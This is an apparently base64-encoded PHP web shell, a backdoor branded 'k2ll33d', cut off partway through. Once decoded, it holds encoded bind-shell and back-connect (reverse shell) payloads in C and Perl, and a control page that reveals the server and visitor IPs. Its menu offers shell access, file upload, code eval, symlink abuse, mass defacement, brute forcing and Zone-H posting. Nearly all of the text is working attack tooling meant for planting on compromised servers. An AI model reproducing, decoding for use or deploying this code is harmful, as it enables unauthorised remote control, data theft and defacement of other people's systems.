EzRnBPajNjNDhNV1F3UU1vdDNMbm1RanVvR0F1ZmM5NndyVmxTamZxZTVrbVRWYzV4S3BSZkxCZkZLMTB2K0MraUx2N1IzN1I2K0xVdWZDL2hTVjEwVW5aZDZnTXFidkg4Q0R0SDZucTNzT3Z6Y0ZLMU9ad2M4VXd5RDJydzUxSlZKYzBqK2lNQmxtRnl1Z3FHR1ZrdXZWdnUvTVFaRk9EVkd6aWplS2l4Nktra1RoeUR6elVxeUFHcVpseFI1MkJTc2F4ckpGOFM3VG1wQk9HNzRyTzgvaWhaZmVwNVRvV0t0c2JscmViQ0FXclVndkZZY211VVc0cVpMd3FCeldVcWR6Mk1QbWJwNk03QlpsUGVuaHg2MXkwZXBNUDRxbmoxWWpxYXlkTm52VTgzcFBjNlBJTkhCckRYVnZVMDhhc01kYWprWjFyTXFNdXBya0NrSUdLeVRyQUhlbVByS2dkYWZJeVpaaGgrNXJFcUtqZVpVSEpBckJuMTBBSEJyTHU5Y2RzNE5hUnBObms0ak82RkphSFFYdXNSd0tmbTVybDlUMXhwU2NIaXFOeGRTVFp5ZUt6NUpBT3B5YTdLZEZJK0F6TFBLMkl2R0xzaHR4TTh6SEpPS3JzZHZUbW5NNWI2VTBybXV0SHhGU1RtN2tmSjY4MG9XcEFoTlBXRW50VHVaS20yUTdUUlZ5TzF6Mm9wY3gwUndzbjBQUVp0YkdPT0t6cDlZWnllYXlHbkxkNlprc2E0VlRTUDBhdG0xZXIxTGMxKzdrODFXYVF1ZXRDeE0zdFV5VzNyV21pUE1icTFuZGtDeGxqVm1LMUxkcW5qaVZSelV3bVZPbFE1ZGpycFllSzFteDBObUZBSnEwbXlNY0NxZjJqM3BQUHJOcHM5U0ZXblRYdW92L2FPS1F6KzlVUE9vODZseW1uMXRzdW1lbW1ibnJWVXVjMGMwN0V2RU5relNacG00MG1La2lpTEduc1N1YWJzSWlselZ5M3RlaElxYTJ0UUJrMVljaU1WaktYWTllaGhWRmM4eUtYRWE0QnFxRk1qMCtWaTdVOVYySUIvRWFGb1hMOTVMeVE2T1B6R0NyMEZhTWFDTmFpdElkZ3pUcnVZUm9lYXpidWVyUmdxTVBhU00zVjd6YXBVR3NCUnVZazFQZlRtYVU5NlpFbkZkY1Z5bytKeGRaNG11MzBRdUtsUVlHYVFKelNUTnRYSGVqY3pTNVZ6TWduazNNUjJxSGFXTlNGY2lueHB6V214eE5PY3RUMWY0UDhBN1JIaVQ0VnZEYXNSck9ocWVkUHVtT1l4L3dCTTM2cDlPUjdWOXMvQ3o0L2VDdmloSEhGcCtvTFk2b3crYlRiNGlPVUgwWHMvL0FTZm9LL05SdW1LV0ptUnd5a3F3NUJCd1JYUlN4TTZmbWo1WE5lRThCbWJjNHIyZFQrWmRmVmJQOEg1bjYvQzIrWEZNaTA5cmlVTGl2emk4QS90UmZFSHdDc2NFR3NIVnJCTUFXbXFBenFCNkJzaHgrRFlyNkM4Ri84QUJRSFNsS2Y4SkQ0VHU0SlJ3MG1tenJLcDk5cjdjZm1hOUNHTXBTMzBQekhHY0VadGhuKzVpcWkvdXZYN25iOExuMUxlZUY1UEpKMmRzNUZjZnFXa09qNUtrVm1hUiszejhKNzJKWTdtTFhMYlBCYVN4VWdmOTh1VFdpLzdVdndSMWxUdThWUGF0MkUybTNRL1VSbXRsaUtMKzBqeFo4TTUzQlhlRHFQMGkzK1NabHkyanF4SldpS0Z1Y2pCcVM2K05Yd2V1VnpiK09iSWtkcExlNFQvQU5DakZZZDk4YXZoakFjcDQwc0g5TnNjeC9rbFY3YWwvTXZ2Unh2Sk0xV2p3dFQvQU1BbC9rZFJGRUF3eU1tclNSYmxPVjVOZVlYL0FPMHI4TmRKalp6NGpGMFFPRXQ3T2RtUDArUUQ4elhtbmkzOXVUVExaSkl2RGZoKzR2SmVpM0dwT0lrSHZzVXNUK1lxWGlLVWZ0SFRRNGR6YkVTNVk0ZVMvd0FTNVYvNU5ZK21QSXczemNEcm12SlBpZCswdDRQK0hIbTJzTS85dmF3bVI5anNuQlZEL3R5ZEYrZ3lmYXZrYng5KzBINDQrSWF5UTMrcnZhV0w5Ykt3SGt4RWVod2N0L3dJbXZOK2E0cW1NYjBwbysveXpnVlJhcVpqTy84QWRqK3Ivd0F2dk85K0tYeHU4VC9GaTdQOXFYZjJmVFZiTVdtV3hLd3A2RWorTnZkcysySzgrMmdmV3BjY1V4aGozcnozSnlkNUg2aFF3dEhDVTFTb1JVWXJvaG5UM29JR0tSalRDYVJUYVF1Mm1ra1V1NmtKNE5Vakp0ZEF6Um5OUnRubW1Fa0NneGM3RS84QUtscXQ1ckR2UjlwWWU5T3pKOXRGYmxnc2MwN2VSVlQ3V1IybysyZjdORmgrM2d1cGI4NWw3MG91V0I1cW45dUg5Mmo3YUNQdTB1WHlENjFIK1l1L2JENjBqWHJmalZMN1lPdXlrYTk5RkZISjVBOFl2NWk0YnFRakFwck5LM1U0cW1iMlFqakFxRjVwSDZzYXJsTUpZdGQyeTVJNFQ3ejFWa3UxSDNSbW9TaGJyU0dHclVVY0ZTdlVsOEtzTWttZVR2Z1ZHc1pOV0JCVWl3K2xYZEk0L1pTbTd5S2dpSjdWS3R2bnJWdExjbnRWbU8xNmNWRG1kZFBCdVhRcFIydWUxV0lyWG5wVjliY0tPQlNoQU8xWk9kejFxZUNVYlhJRmdDOXFLbmJBR2FLVnpyNUlyUWdXTHVhbVJGRlZoTm1sTTlPeGxHY0k2bHNPcWppZ3kxUzgzSnAyOG1wc2FmV094YU0xSjV0UXJrMG9GT3hYdEpNbEVtYWNHelRBdWFrQ1V0RFdQTXdHYWVxa21sU1BQU3JNY0pOUTNZN0tkTnlJZ2xUSkVXcTFIYkRISXExRmErMVpPVmoxNldEY2luSGJaeHhWNjJ0UU1aRlRMQUJqdFZoVkNpc25LNTdkRENSaTdzaktoQlZTZDhuRldKNWRvTlZNR1JxU0tyeSt6RVNOT1N4NkNwNEkvTmZkamltT01BUmo4YXYyOFlqUVVOaW9VdWFWdWlIbkVhMWhhdGQ4RUExbzM5eUkwTmN6Y3pHV1E4MWRPTjNjNDgxeGFoSDJVU05mbmFyU3J0RlJRUjU1cXpqaXVocytab3dkcnNad295ZWxWbmJjMmFsbWJKeDJxRnFFVFZkOUVBNXFXTVlxTUR2VXk4Q2hrUVd0eHA2MHFqQnpTWXpTcm1nMFc1S3ZKcXhFdURVQ0NyY1k0RlpzOUdpcnN0MnBJWUN0Sk9SV1pDZHJaclFpYklyQ1I5UGhKV1ZtVGJSU2VXcG9EVTRFVm1lb2ttTU1DTndWRlJTYVpCSjFRVlpCcGMwN3NUcFU1cjNrbVpVM2grSnZ1RXJXZmNhRFBIeXVIRmRNR3BldFdxa2tjRlhLc0xWMlZ2UTRxUzNsaE9HUXIrRlFzSzdpU0NPVVlaUWF6YnJRWXBRU255TjdWcXFxNm5oNGpKS2tWZWs3bktPS2pOYXQ3cE0xcWZ1N2w5UldheUhKNHJvVWs5VWZLMTZGU2xMbG1yTWdiSU5OTEUxS3dPTVZFeUVWWjUwazBOTFUwbnZRUnpTWU5NNTIyeHJtb2ljVkt3cU1qbXFSelR1TnptZzB1RFM3YW94czJNeHhTN2FrMlU0SUtWeTFUWkR0Tkd6bXJBVE5PQ1o3VXVZMFZHNVhFZVRUeENUVmxZcWxFQngwelNjam9oaHJsTVEwN3lNOXF2TGJFOXFuanRDZTFRNUhaREJ1WFF6RnRTU09NVllTMDVyUUZxYWtFR08xUTVuYkRBSmJvb3JBRjdWTWtmdFZrUm4wcHJMam1wdWRpb0tKQ1Z4MU5NWWdETkxLM1dxMHJseDZWU1Z6bXFUVWRpSzR1TVVWWGxqWnV4TkZiSkk4S3BVcU9XZ2JmYW5CRFYzN0tmU25DM0E3VkhNanJqaFpkU29rV2FsV0wycXlJZ08xUFdLazVIWEREV0lGaXA2eGZuVmdRMUlzZFE1SGJDZ1FKQ1RVMGNKOUtuU1BQYXJVVUh0V2JrZWpTd3R5Q0cyejJxNUZiWUhTck1OdndQU3JLeDRyRnlQb2FHRFVVUXh3Z0RrVktJd0tmdHhTbjJxTG5xUnBxS0doUUtZN0FBMDUyd0tyU3VUUWlLa2xGYUVFcmIyeFRrWHkwM0doSTl6WnBKVzN1RVdxOGp6Ylc5NWo3V1B6Sk41cTVOSUkwTkpDbmxSaXN6VTd3SUNBYUxjek9xVTFoYVBOTGNvYW5kbG1JQnpXZEVwWnFXUmpLK1RWaTJpejJycVM1VlkrR25LV0pxOHpKWW84Q2lad293S2xZaU5hcHNTeEpxVnFkVlIremp5cmNZYU9LUHJTNHJRNEJWR2FlY0dtampGT0FxV2F4N0NZRlBBeFNEbW5Da2FSUTlCVnFMakZWMEZXWXhVTTlHaWl6RU9hdEljVlZqNHFkVFdMUGRwT3lMQ21ucWFnQnFSVGlwTytNaVVHbHpVVzczb0wwckczT2liTktHcUFOVGcrYUxGS29pZmRTZzVxRUhOU0xTTjR5dU9aUTR3UUNLemIzUW9ibkpVYkc5cTB4UlRUYTJNNjFDbGlJOHRTTnpqN3ZRNTdmSkM3aDZpczE0V1hnZ2cxNkNjRWMxVXVMR0NmNzBZK3RieHJQcWZMNG5JSVBXaksza3poREZnMHd4KzFkYk5vRUxFN0NWcWxMb0RxVHR3d3JaVlV6NTJyazJJcDlMK2h6eGo1NlVua1pOYkQ2VzZIbENLamF4SXhrVmZPanpwWUNvdmlSbG1FK2xIbFZwZllqbkdLUTJUZWxQbVJuOVRrdWhuaUwxcHdpcS85aUlwd3NpZXRITWkxZzU5aWdJNmtXSStsYUNXUHR6VmlPeEo3VkxtZGxQQXpmUXo0YmJkVnlLekJxNnRtUU1nVk9scTFZdVo3TkhBY3U2S2lXcWlwQkdxOXF0cmFtbkMweWVsUnpIcHh3clMwUlJaUFNtbENlQUswMXNoNlU4V1k5S1hPYWZVcHlNanltWURpa05xV0hTdDBXcWp0VGhiS08xTG5ORmx0OTJjNmRMYVE5RG1uSm9oWThpdWpFUUhhbmJRS1BhTXBaUFIza1lTYUF2Y1pvcmNad3Z0UlM1NUcvd0RaMkVqbzRuS2xCdHBqSUtLSzZFZkp5aXJEY1lwd0ZGRk15U0hBWXFhSlFXb29xR2RWSmFvc29vcTlDZzIwVVZsSTkzREpYTFNMeFQ2S0t6UGNqc0llQlRTZUtLS0JTSzhqR3F4SkxkYUtLcEhsVmR5Umo1Y1JJNjBsbWdaaXg2MFVVK2dSMXF4VEpydVV4UjhWeTk1TXp5Tm1paXRhU1BGem1jcnBYMEdRcUdZWnJTaFVLdEZGYVNQTndhVnJsYTRrSmsyMUNmU2lpbWpDcTI1TzRuZWlpaW1ZanNaV25xTUNpaWtieEZwNDZVVVVqVkVxYzRxMGc0b29yTm5wMFNkQnhVdzZVVVZrejE0YkM1eFRnZUtLS1JxbnFCWTBtNmlpZ2QyTk1ocDBiRWlpaW1URnZtTFMxS3ZhaWlzejE0YkQ2UThDaWlnMkkzT0tpZHlLS0thT1dvMlJHWTV4U2VhUlJSVkhBNXk3Z0pOMk1nVTFsUmp5Z29vb1FOM1dwRzlwR3g0R0toa3MxWG5ORkZOTm1NNlVHbTdFWGtxS2Q1SXhSUlZYWnhSaEhzVHcyNjR6MXF5c0NrQ2lpb1BTcFFqWmFFZ2lBcDRqR0tLS2s5Q01WMkhCQm1uQkFLS0tSdEZJY0ZGS0Z4UlJRV2tMaWs3MFVVREVMVkZLNVVFMFVVR0ZSdEl6THU3Y0tjY1VVVVYwUlNzZklZbXJQMm01LzlrPSc7DQokcG9ydF9iaW5kX2JkX2M9ImJWTmhiOW93RVAyT3hIKzRwaEk0TklOQU4wMGFZeEphVzZtYXhxYlNMeE5ES0RpWHhpTFlrVzNLR09wLzN6bE9wbzd4SVk3OTNqdmYgK2ZsOEtTUXZkaW5DUjJOVG9mcjVwM2JyOGhXbWhYdzZCUTltWUE4bG1qTzRVWHlEOW9TUWFBVjlBeUZQQ05SYStwUkNXdGdtUXJKRSBQL0dJaHVmUWcyNDlicmQ0bm1qbzlSeEJxeU5BdXdXT2R2bXlOQUtKK3l3bEJpcmhlcGN0cnVPbFc5TUpkdHpya2pUVkt5RkI0MVpaIGRLVElXS2IwaG9Vd21VQWN3dEZ0NittK0VYS1ZKVnRSSEdBQzA3dlYvZXoyY2Z3dlhTcHRpY3l0a29ZbFZnbFgvZk5pdUF6REU2VkwgM1RmVnJ3NG8yUDFzZW5QenNKck9mb1JqbDljZmhXanZJYXR6UnZOdm43K3M1bzhQdDlPdlVSeldaVjk0ZFFnbGVhZzBDM3dRVkt1ZyBVcTJGVEZuakR6dnhBWHBoeDljWFFmeHI2UGN0aExFby84YThxOEI5TGdwa1E3b09nS01idk5lVGhITXNiU09PNjlJQTBsMDVZcFhrIEhEVDhIeHJWMEY0TGl6VVdmRStNMlN1ZGZnaWlZYk9OeGlTdGVicmd5SWpmcURKRzA3QVdpQXpZQmM5TGl2VTNNVnBHRlYyeDFKNFcgdHl4QW5pdllZOEhWRnNFcVdGKy9mN3NCazJOUlFLY0RBL0p0c0U1TURtOUVVRytNaGNGcWtwWDBIbXhHYnFia2RCVE1sZGFIUnNVTCBaZW9EZU9TRkJ2cGVmQ2ZYaGZsT3BnVGt2SitqdEtpUjd2TG9oWUtDcVMyWm1NUmo0WjVnUVpmU2lNYmk2aXFrZG5IYXJFRVhZdWs2IHVQdFRkdW1zcjBIQzRxNXJyek5pZlY3c0MzWldVbXErTFZsVmE1T2ZRalRhblpZUU8rVWYiOw0KJHBvcnRfYmluZF9iZF9wbD0iWlpKaFQ4SXdFSWEvay9BZmprbGdTMmFBK0JGbUpEQjFjVzVrSFNaR3pUSzJReHBtdTJ3bFlvRC9icnVCSWZpdGQzM3V2WHV2dldyMSBObVhSVzFEV3k3SEltbzAyZWJSZDE5S3ExQ0l1VjNCTnRXR3pRWmVnMzQyRGh4Y1l3Y0NBSGVDV0NuMWdET0VnaTF5SGhMWVh6ZndnIHROcUtldXQveUtKTmlVQjRza1loZzNaZWNNRVRubG1mS0tyejRvZkZYNmgzUlpKM0RVbVVGYW9Uc3pPN2p4elBEczBPOFNkUEVRa0QgZS94cy9na1lzTjlEU2hHMFNjd0VKQVhHQXFHdWZtZHEyaEtGQ25tdTFJanZSa3BINmhFL0N1dzVzY2ZUYVdBT1ZFOXBNNVdNb3VNMCBMU0xLOUhNM3B1TXBOaHA3cjhaRlc1NGpnNXdYeDVZWkxRVXlLWFZ6d2RVWForVDNpbVlvVjlkczdKcU5PRWxRVGpueFBjOGtSclZvIHZhVzNjNXBhUzE2c2pabzZxVEV1UUtVMVVPL1JTbkZKR2FhZ2NGVmJqVVRDcWVPWjJxaWpOTFd6ckQ4UFRlMzJYOW9PZ3ZNMGJqR0IgK2hlY2ZPUUZsVDRVY0xTa21JMWNlWTNWcnBLTXk5ZFdVQ1ZDQmZUbFFYNk93eTg9IjsNCiRiYWNrX2Nvbm5lY3Q9ImZaRlJTOE13RklYZkIvc1BXU3cyaFVybnF5UEMwQ3BEM0tTdHZxaDBYUnBjc0UxS2tvS0YvWGlUdENJVjZ0dTU1K1o4OXlZNVcwU3Qga3RHQjhhaWhzcHJQV2tWQktzZ24xYXY1ekNOMWlRR3NPdjRGYmFrNnBXbU5nVS9KVVFDNGIzbFJVM0JSN09GcWNGaHB0TU9wbzI4aiBTMndoVnVsQ2ZsQ052WFZ5Ly9LNmZMZFdJK1NQY2VrTVZwU2x4SXhUblJkYWNEU0VBbkE2Z1pKUkJHTXBoYndDM3VLTnc4QWhYRUtaIGphM0ltY2xZYWdoNjFuOUpLYlRBaHU3RW9iTjNRYjRtalcvYnlyMEJTbmMzRDNFV2dxZTdmTE8xd2hwNW1pWHgrdEhNY05IcEdVUncgVHNrdnBkOTIrcnhvS0VkcGRydlpoZ0Jlbi9leFVXZjNuRTIxNGlUNTIrci9DdzMvNWphcWhLTDlpRkZwdUtQYXdJTFZOdz09IjsNCiRiYWNrX2Nvbm5lY3RfYz0iWFZIYmFnSXhFSDBYL0lkaGhaTFVXRjFmMVlLSUJlbEZxZlpKbGlVbTJXN29iaUpKTExXbC85NGsyOXJXaHlFemMrWjJUanBTc2VyQSBCWXl0NDFKZmxkZnRWdWMzZDdSOXE5bUxjR2VBRWs1NjYwc1ZBYWtjMUZRcUZCeHFuaGtCVmxJRGw5NS8zV2E0M2Zwb3R5Q0FCUjk1IHp6cHpZQTdDYU1xNXlhVUNLMVZBWXB1cDdYYVlacFBFMU5BcklCbUJSemdWdFZZb0pRTWNSL2pWM3ZLQzFySTZ3Z1NtTi9uaVliNzUgaSsyMWNSNHBuVllXVWFjbGl2Y01NL3h2UkRqaHlzYkhWd2RlMFcrSzB3ekg5YnQzWWZSUGluZ0NsVkNuaW03YS9adUpDMEpUd2YzQSBSa0QwZlIrQjlYSjJtNjgzai9QcFBZSEZhdlc0M0N6enpXeUZJZmJJQWhCaVdpbkJIQ280QVhTbUZseGl1UEIzRTAvZ1hlamlITWNZIGp3Y1lndUlBZTJHTU5palo5akw0R1lxVFNCOUF2RW1IR2prL20xOWgxQ0d2UG9ISVk1QTFPaDJ0RTNYSWUxYnhLdzc3WVR5dDZUMkYgNmY5d0dFUHhKbGlGa3Y1T3FyNHRFNUxZRW5veUlmRHdkSGNYSzFpbHJmQWRVYlBQTHc9PSI7DQo/PjxodG1sPjxoZWFkPjxsaW5rIGhyZWY9J2RhdGE6aW1hZ2UveC1pY29uOzw/cGhwIGVjaG8gJHR1bmlzaWE7Pz4nIHJlbD0naWNvbicgdHlwZT0naW1hZ2UveC1pY29uJyAvPjx0aXRsZT46OiBrMmxsMzNkIDo6PC90aXRsZT4NCjxsaW5rIGhyZWY9J2h0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PU9yYml0cm9uOjcwMCcgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpmdW5jdGlvbiB0dWthcihsYW1hLGJhcnUpe2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKGxhbWEpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZChiYXJ1KS5zdHlsZS5kaXNwbGF5ID0gJ2Jsb2NrJzt9DQo8L3NjcmlwdD48bGluayBocmVmPSdodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcmJpdHJvbjo3MDAnIHJlbD0nc3R5bGVzaGVldCcgdHlwZT0ndGV4dC9jc3MnPjxzdHlsZT4NCi5teWJveHstbW96LWJvcmRlci1yYWRpdXM6IDEwcHg7IGJvcmRlci1yYWRpdXM6IDEwcHg7Ym9yZGVyOjFweCBzb2xpZCAjNEM4M0FGOyBwYWRkaW5nOjRweCAycHg7d2lkdGg6NzAlO2xpbmUtaGVpZ2h0OjI0cHg7fS5teWJveHRibHsgd2lkdGg6NTAlOyB9Ym9keXtiYWNrZ3JvdW5kOiMwMTAxMDE7fSBhIHt0ZXh0LWRlY29yYXRpb246bm9uZTt9IGhyLCBhOmhvdmVye2JvcmRlci1ib3R0b206MXB4IHNvbGlkICM0QzgzQUY7fSAqe3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIHJnYigxNTMsIDE1MywgMTUzKTtmb250LXNpemU6MTFweDtmb250LWZhbWlseTpUYWhvbWEsVmVyZGFuYSxBcmlhbDtjb2xvcjojRkZGRkZGO30gLnRhYm5ldHttYXJnaW46MTVweCBhdXRvIDAgYXV0bztib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzO30gLm1haW4ge3dpZHRoOjEwMCU7fSAuZ2F5YSB7Y29sb3I6ICM4ODg4ODg7fSAudG9we2JvcmRlci1MRUZUOjFweCBzb2xpZCAjZmZmZmZmO2JvcmRlci1SSUdIVDoxcHggc29saWQgI2ZmZmZmZjtmb250LWZhbWlseTp2ZXJkYW5hO31pbnB1dHtiYWNrZ3JvdW5kOiMxMTExMTE7Ym9yZGVyOjE7cGFkZGluZzoycHg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzIyMjIyMjtib3JkZXItdG9wOjFweCBzb2xpZCAjMjIyMjIyO2ZvbnQtc2l6ZToxMnB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtoZWlnaHQ6MjA7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM1ZDVkNWQ7Ym9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMTIxMjEyO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMxMjEyMTI7Ym9yZGVyLXRvcDoxcHggc29saWQgIzVkNWQ1ZDtjb2xvcjojOWY5ZjlmO30gIC5pbnB1dHp7ICBiYWNrZ3JvdW5kOiMxMTExMTE7IGJvcmRlcjowOyBwYWRkaW5nOjJweDsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzM5MzkzOTsgZm9udC1zaXplOjExcHg7IGNvbG9yOiNmZmZmZmY7IC1tb3otYm9yZGVyLXJhZGl1czogNnB4OyBib3JkZXItcmFkaXVzOiAxMHB4OyBib3JkZXI6MXB4IHNvbGlkICM0QzgzQUY7bWFyZ2luOjRweCAwIDhweCAwO30gLmlucHV0emJ1dHtiYWNrZ3JvdW5kOiMxMTExMTE7Y29sb3I6IzhmOGY4ZjttYXJnaW46MCA0cHg7Ym9yZGVyOjFweCBzb2xpZCAjNDQ0NDQ0O30gIC5pbnB1dHpidXQ6aG92ZXJ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzRDODNBRjtib3JkZXItdG9wOjFweCBzb2xpZCAjNEM4M0FGO30uaW5wdXR6OmhvdmVyeyAtbW96LWJvcmRlci1yYWRpdXM6IDZweDsgYm9yZGVyLXJhZGl1czogMTBweDsgYm9yZGVyOjFweCBzb2xpZCAjNEM4M0FGO21hcmdpbjo0cHggMCA4cHggMDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjNEM4M0FGO2JvcmRlci10b3A6MXB4IHNvbGlkICM0QzgzQUY7fS5vdXRwdXQyIHttYXJnaW46YXV0bztib3JkZXI6MXB4IHNvbGlkICM4ODg4ODg7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSB0ZXh0YXJlYXttYXJnaW46YXV0bztib3JkZXI6MnB4IHNvbGlkICM1NTU1NTU7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSAub3V0cHV0IHttYXJnaW46YXV0bztib3JkZXI6MXB4IHNvbGlkICMzMDMwMzA7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSAuY21kYm94e3dpZHRoOjEwMCU7fS5oZWFkX2luZm97cGFkZGluZzogMCA0cHg7fSAuYjF7Zm9udC1zaXplOjMwcHg7cGFkZGluZzowO2NvbG9yOiM1NTU1NTU7fSAuYjJ7Zm9udC1zaXplOjMwcHg7cGFkZGluZzowO2NvbG9yOiM4MDAwMDA7fSAuYl90Ymx7dGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luOjAgNHB4IDAgMDtwYWRkaW5nOjAgNHB4IDAgMDtib3JkZXItcmlnaHQ6MXB4IHNvbGlkICMzMzMzMzM7fSAucGhwaW5mbyB0YWJsZXt3aWR0aDoxMDAlO3BhZGRpbmc6MCAwIDAgMDt9IC5waHBpbmZvIHRke2JhY2tncm91bmQ6IzExMTExMTtjb2xvcjojY2NjY2NjO3BhZGRpbmc6NnB4IDhweDs7fSAucGhwaW5mbyB0aCwgdGh7YmFja2dyb3VuZDojMTkxOTE5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMzMzMzMzM7Zm9udC13ZWlnaHQ6bm9ybWFsO30gLnBocGluZm8gaDIsIC5waHBpbmZvIGgyIGF7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOjE2cHg7cGFkZGluZzowO21hcmdpbjozMHB4IDAgMCAwO2JhY2tncm91bmQ6IzIyMjIyMjtwYWRkaW5nOjRweCAwO30gLmV4cGxvcmV7d2lkdGg6MTAwJTt9IC5leHBsb3JlIGEge3RleHQtZGVjb3JhdGlvbjpub25lO30gLmV4cGxvcmUgdGR7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzMzMzMzMztwYWRkaW5nOjAgOHB4O2xpbmUtaGVpZ2h0OjI0cHg7Y29sb3I6Izk5OTk5OTt9IC5leHBsb3JlIHRoe3BhZGRpbmc6M3B4IDhweDtmb250LXdlaWdodDpub3JtYWw7Y29sb3I6Izk5OTk5OTt9IC5leHBsb3JlIHRoOmhvdmVyICwgLnBocGluZm8gdGg6aG92ZXJ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgcmVkO30gLmV4cGxvcmUgdHI6aG92ZXJ7YmFja2dyb3VuZDojMzMzMzMzO30gLnZpZXdmaWxle2JhY2tncm91bmQ6I0VERUNFQjtjb2xvcjojMDAwMDAwO21hcmdpbjo0cHggMnB4O3BhZGRpbmc6OHB4O30gLnNlbWJ1bnlpe2Rpc3BsYXk6bm9uZTtwYWRkaW5nOjA7bWFyZ2luOjA7fSAjbWVudXtmb250LWZhbWlseTpvcmJpdHJvbjtiYWNrZ3JvdW5kOiAjMTExMTExO21hcmdpbjo1cHggMnB4IDRweCAycHg7fSAjbWVudSBhe3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjtmb250LWZhbWlseTpvcmJpdHJvbjtwYWRkaW5nOjRweCA2cHg7bWFyZ2luOjA7YmFja2dyb3VuZDojNjY2NjY2O3RleHQtZGVjb3JhdGlvbjpub25lO2xldHRlci1zcGFjaW5nOjFweDtjb2xvcjojZmZmZmZmO30gI21lbnUgYTpob3Zlcntmb250LWZhbWlseTpvcmJpdHJvbjtiYWNrZ3JvdW5kOiMxOTE5MTk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzQ0NDQ0NDtib3JkZXItdG9wOjFweCBzb2xpZCAjNDQ0NDQ0O2NvbG9yOiNjZWNlY2U7fWssIGsgYSwgayBhOmhvdmVye3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIHJlZDtmb250LWZhbWlseTpvcmJpdHJvbjtmb250LXNpemU6MjVweDtjb2xvcjojZmZmZmZmO308L3N0eWxlPjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NtZCcpLmZvY3VzKCk7Ij48ZGl2IGNsYXNzPSJtYWluIj48ZGl2IGNsYXNzPSJoZWFkX2luZm8iPiA8dGFibGU+PHRyPjx0ZCB3aWR0aD0iMTUlIj48dGFibGUgY2xhc3M9ImJfdGJsIj4NCjw/cGhwIGVjaG8gKGJhc2U2NF9kZWNvZGUoJ1BHZ3hQanhoUG1zZ01pQnNJR3dnTXlBeklHUW1ibUp6Y0RzbWJtSnpjRHRUSUdnZ1pTQnNJR3c4TDJFK1BDOW9NVDRtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEcz0nKSk7Pz48ZGl2IGlkPSJtZW51Ij48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9YWJvdXQiPkFib3V0IE1lPC9hPjwvZGl2Pg0KPC90ZD48L3RyPjwvdGFibGU+PC90ZD48dGQgY2xhc3M9InRvcCIgd2lkdGg9JzYwJSc+PD9waHAgZWNobyAkYnVmZjs/PjwvdGQ+Jm5ic3A7Jm5ic3A7PHRkIHN0eWxlPSJ3aWR0aDozMCU7Ij48YT5zZXJ2ZXIgaXAgOjw/cGhwIGVjaG8gJHNlcnZlcl9pcC4iPGZvbnQgY29sb3I9J3JlZCc+PGJyPjxicj48L2ZvbnQ+IHlvdXIgaXAgOiAiLiRteV9pcC4iPGJyPjwvYT4iOz8+PGJyPjxkaXYgaWQ9Im1lbnUiPjxhIGhyZWY9Ij8iPkhvbWU8L2E+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+DQo8ZGl2IGlkPSJtZW51Ij48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4iPkZpbGVzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1zaGVsbCI+U2hlbGw8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXVwbG9hZCI+dXBsb2FkPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1waHAiPkV2YWw8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXN5bSI+U3ltPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1uZXRzcGxvaXQiPlRvb2xzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1teXNxbCI+U3FsPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1tYXNzIj5NYXNzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1icnV0ZSI+QnJ1dGU8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXBocGluZm8iPnBocGluZm88L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXpvbmUtaCI+Wm9uZS1IPC9hPjxhIGhyZWY9Ij88P3BocCBlY2